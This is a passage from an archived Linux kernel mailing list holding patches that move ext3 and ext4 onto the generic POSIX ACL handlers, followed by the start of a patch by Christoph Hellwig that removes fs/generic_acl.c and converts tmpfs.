+190,7 @@ ext3_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext3_new_inode */ static int -ext3_set_acl(handle_t *handle, struct inode *inode, int type, +__ext3_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -243,204 +243,49 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext3_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ -int -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) -{ - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext3_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ int -ext3_acl_chmod(struct inode *inode) +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: - handle = ext3_journal_start(inode, - EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext3_std_error(inode->i_sb, error); - goto out; - } - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + error = __ext3_set_acl(handle, inode, type, acl); ext3_journal_stop(handle); - if (error == -ENOSPC && - ext3_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext3_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext3_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - -retry: - handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); - if (IS_ERR(handle)) - return PTR_ERR(handle); - error = ext3_set_acl(handle, inode, type, acl); - ext3_journal_stop(handle); - if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) - goto retry; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = __ext3_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext3_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext3_xattr_list_acl_access, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; - -const struct xattr_handler ext3_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext3_xattr_list_acl_default, - .get = ext3_xattr_get_acl, - .set = ext3_xattr_set_acl, -}; diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h index dbc921e..ea1c69e 100644 --- a/fs/ext3/acl.h +++ b/fs/ext3/acl.h @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext3_get_acl(struct inode *inode, int type); -extern int ext3_acl_chmod (struct inode *); +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext3_init_acl (handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT3_FS_POSIX_ACL */ #include #define ext3_get_acl NULL - -static inline int -ext3_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext3_set_acl NULL static inline int ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext3/file.c b/fs/ext3/file.c index 25cb413..aad0531 100644 --- a/fs/ext3/file.c +++ b/fs/ext3/file.c @@ -75,6 +75,7 @@ const struct inode_operations ext3_file_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, .fiemap = ext3_fiemap, }; diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c index 2bd8548..150b6c1 100644 --- a/fs/ext3/inode.c +++ b/fs/ext3/inode.c @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (ia_valid & ATTR_MODE) - rc = ext3_acl_chmod(inode); + rc = posix_acl_chmod(inode); err_out: ext3_std_error(inode->i_sb, error); diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c index f8cde46..f197736 100644 --- a/fs/ext3/namei.c +++ b/fs/ext3/namei.c @@ -2569,6 +2569,7 @@ const struct inode_operations ext3_dir_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; const struct inode_operations ext3_special_inode_operations = { @@ -2580,4 +2581,5 @@ const struct inode_operations ext3_special_inode_operations = { .removexattr = generic_removexattr, #endif .get_acl = ext3_get_acl, + .set_acl = ext3_set_acl, }; diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c index b1fc963..c6874be 100644 --- a/fs/ext3/xattr.c +++ b/fs/ext3/xattr.c @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache; static const struct xattr_handler *ext3_xattr_handler_map[] = { [EXT3_XATTR_INDEX_USER] = &ext3_xattr_user_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext3_xattr_acl_access_handler, - [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext3_xattr_acl_default_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT3_XATTR_INDEX_TRUSTED] = &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_SECURITY @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = { &ext3_xattr_user_handler, &ext3_xattr_trusted_handler, #ifdef CONFIG_EXT3_FS_POSIX_ACL - &ext3_xattr_acl_access_handler, - &ext3_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT3_FS_SECURITY &ext3_xattr_security_handler, diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h index 2be4f69..32e93eb 100644 --- a/fs/ext3/xattr.h +++ b/fs/ext3/xattr.h @@ -60,8 +60,6 @@ struct ext3_xattr_entry { extern const struct xattr_handler ext3_xattr_user_handler; extern const struct xattr_handler ext3_xattr_trusted_handler; -extern const struct xattr_handler ext3_xattr_acl_access_handler; -extern const struct xattr_handler ext3_xattr_acl_default_handler; extern const struct xattr_handler ext3_xattr_security_handler; extern ssize_t ext3_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index f827f3b..acaba0f 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -196,7 +196,7 @@ ext4_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext4_new_inode */ static int -ext4_set_acl(handle_t *handle, struct inode *inode, int type, +__ext4_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -248,208 +248,51 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext4_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ -int -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) -{ - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext4_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext4_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ int -ext4_acl_chmod(struct inode *inode) +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; - + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: handle = ext4_journal_start(inode, EXT4_HT_XATTR, ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - ext4_std_error(inode->i_sb, error); - goto out; - } - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + error = __ext4_set_acl(handle, inode, type, acl); ext4_journal_stop(handle); - if (error == -ENOSPC && - ext4_should_retry_alloc(inode->i_sb, &retries)) + if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) goto retry; -out: - posix_acl_release(acl); return error; } /* - * Extended attribute handlers + * Initialize the ACLs of a new inode. Called from ext4_new_inode. + * + * dir->i_mutex: down + * inode->i_mutex: up (access to inode is still exclusive) */ -static size_t -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) +int +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int error; - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext4_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - handle_t *handle; - struct posix_acl *acl; - int error, retries = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; -retry: - handle = ext4_journal_start(inode, EXT4_HT_XATTR, - ext4_jbd2_credits_xattr(inode)); - if (IS_ERR(handle)) { - error = PTR_ERR(handle); - goto release_and_out; + if (default_acl) { + error = __ext4_set_acl(handle, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = __ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, + acl); + posix_acl_release(acl); } - error = ext4_set_acl(handle, inode, type, acl); - ext4_journal_stop(handle); - if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) - goto retry; - -release_and_out: - posix_acl_release(acl); return error; } - -const struct xattr_handler ext4_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext4_xattr_list_acl_access, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; - -const struct xattr_handler ext4_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext4_xattr_list_acl_default, - .get = ext4_xattr_get_acl, - .set = ext4_xattr_set_acl, -}; diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h index 18cb39e..da2c795 100644 --- a/fs/ext4/acl.h +++ b/fs/ext4/acl.h @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size) /* acl.c */ struct posix_acl *ext4_get_acl(struct inode *inode, int type); -extern int ext4_acl_chmod(struct inode *); +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext4_init_acl(handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT4_FS_POSIX_ACL */ #include #define ext4_get_acl NULL - -static inline int -ext4_acl_chmod(struct inode *inode) -{ - return 0; -} +#define ext4_set_acl NULL static inline int ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 3da2194..43e64f6 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -617,6 +617,7 @@ const struct inode_operations ext4_file_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 0757634..6f69f96 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) ext4_orphan_del(NULL, inode); if (!rc && (ia_valid & ATTR_MODE)) - rc = ext4_acl_chmod(inode); + rc = posix_acl_chmod(inode); err_out: ext4_std_error(inode->i_sb, error); diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 5a0408d..e77c1ba 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -3225,6 +3225,7 @@ const struct inode_operations ext4_dir_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, }; @@ -3235,4 +3236,5 @@ const struct inode_operations ext4_special_inode_operations = { .listxattr = ext4_listxattr, .removexattr = generic_removexattr, .get_acl = ext4_get_acl, + .set_acl = ext4_set_acl, }; diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 1423c48..e175e94 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache; static const struct xattr_handler *ext4_xattr_handler_map[] = { [EXT4_XATTR_INDEX_USER] = &ext4_xattr_user_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext4_xattr_acl_access_handler, - [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext4_xattr_acl_default_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT4_XATTR_INDEX_TRUSTED] = &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_SECURITY @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = { &ext4_xattr_user_handler, &ext4_xattr_trusted_handler, #ifdef CONFIG_EXT4_FS_POSIX_ACL - &ext4_xattr_acl_access_handler, - &ext4_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h index c767dbd..819d639 100644 --- a/fs/ext4/xattr.h +++ b/fs/ext4/xattr.h @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find { extern const struct xattr_handler ext4_xattr_user_handler; extern const struct xattr_handler ext4_xattr_trusted_handler; -extern const struct xattr_handler ext4_xattr_acl_access_handler; -extern const struct xattr_handler ext4_xattr_acl_default_handler; extern const struct xattr_handler ext4_xattr_security_handler; extern ssize_t ext4_listxattr(struct dentry *, char *, size_t); -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A8E3B7F58 for ; Sun, 1 Dec 2013 06:07:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 97E6B8F8049 for ; Sun, 1 Dec 2013 04:07:13 -0800 (PST) X-ASG-Debug-ID: 1385899632-04cbb04167421910001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Y9BvIPBtukMd6WhH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nd-0003is-0i; Sun, 01 Dec 2013 12:06:57 +0000 Message-Id: <20131201120656.878834478@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:21 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 18/18] fs: remove generic_acl References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 18/18] fs: remove generic_acl Content-Disposition: inline; filename=0018-fs-remove-generic_acl.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 And instead convert tmpfs to use the new generic ACL code, with two stub methods provided for in-memory filesystems. Signed-off-by: Christoph Hellwig --- fs/Kconfig | 6 +- fs/Makefile | 1 - fs/generic_acl.c | 184 ------------------------------------------- fs/posix_acl.c | 36 +++++++++ include/linux/generic_acl.h | 14 ---- include/linux/posix_acl.h | 9 +++ mm/shmem.c | 57 ++++++-------- 7 files changed, 69 insertions(+), 238 deletions(-) delete mode 100644 fs/generic_acl.c delete mode 100644 include/linux/generic_acl.h diff --git a/fs/Kconfig b/fs/Kconfig index c229f82..7385e54 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -68,10 +68,6 @@ source "fs/quota/Kconfig" source "fs/autofs4/Kconfig" source "fs/fuse/Kconfig" -config GENERIC_ACL - bool - select FS_POSIX_ACL - menu "Caches" source "fs/fscache/Kconfig" @@ -119,7 +115,7 @@ config TMPFS_POSIX_ACL bool "Tmpfs POSIX Access Control Lists" depends on TMPFS select TMPFS_XATTR - select GENERIC_ACL + select FS_POSIX_ACL help POSIX Access Control Lists (ACLs) support additional access rights for users and groups beyond the standard owner/group/world scheme, diff --git a/fs/Makefile b/fs/Makefile index 4fe6df3..30dc16d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -44,7 +44,6 @@ obj-$(CONFIG_BINFMT_FLAT) += binfmt_flat.o obj-$(CONFIG_FS_MBCACHE) += mbcache.o obj-$(CONFIG_FS_POSIX_ACL) += posix_acl.o xattr_acl.o obj-$(CONFIG_NFS_COMMON) += nfs_common/ -obj-$(CONFIG_GENERIC_ACL) += generic_acl.o obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o diff --git a/fs/generic_acl.c b/fs/generic_acl.c deleted file mode 100644 index 4357f39..0000000 --- a/fs/generic_acl.c +++ /dev/null @@ -1,184 +0,0 @@ -/* - * (C) 2005 Andreas Gruenbacher - * - * This file is released under the GPL. - * - * Generic ACL support for in-memory filesystems. - */ - -#include -#include -#include -#include -#include -#include - - -static size_t -generic_acl_list(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - struct posix_acl *acl; - const char *xname; - size_t size; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return 0; - posix_acl_release(acl); - - switch (type) { - case ACL_TYPE_ACCESS: - xname = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - xname = POSIX_ACL_XATTR_DEFAULT; - break; - default: - return 0; - } - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int -generic_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -generic_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto failed; - switch (type) { - case ACL_TYPE_ACCESS: - error = posix_acl_equiv_mode(acl, &inode->i_mode); - if (error < 0) - goto failed; - inode->i_ctime = CURRENT_TIME; - if (error == 0) { - posix_acl_release(acl); - acl = NULL; - } - break; - case ACL_TYPE_DEFAULT: - if (!S_ISDIR(inode->i_mode)) { - error = -EINVAL; - goto failed; - } - break; - } - } - set_cached_acl(inode, type, acl); - error = 0; -failed: - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_init - Take care of acl inheritance at @inode create time - * - * Files created inside a directory with a default ACL inherit the - * directory's default ACL. - */ -int -generic_acl_init(struct inode *inode, struct inode *dir) -{ - struct posix_acl *acl = NULL; - int error; - - if (!S_ISLNK(inode->i_mode)) - acl = get_cached_acl(dir, ACL_TYPE_DEFAULT); - if (acl) { - if (S_ISDIR(inode->i_mode)) - set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - } else { - inode->i_mode &= ~current_umask(); - } - error = 0; - - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_chmod - change the access acl of @inode upon chmod() - * - * A chmod also changes the permissions of the owner, group/mask, and - * other ACL entries. - */ -int -generic_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); - if (acl) { - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - } - return error; -} - -const struct xattr_handler generic_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; - -const struct xattr_handler generic_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 38d6a49..64e9315 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -514,3 +514,39 @@ struct posix_acl *get_acl(struct inode *inode, int type) } return inode->i_op->get_acl(inode, type); } + 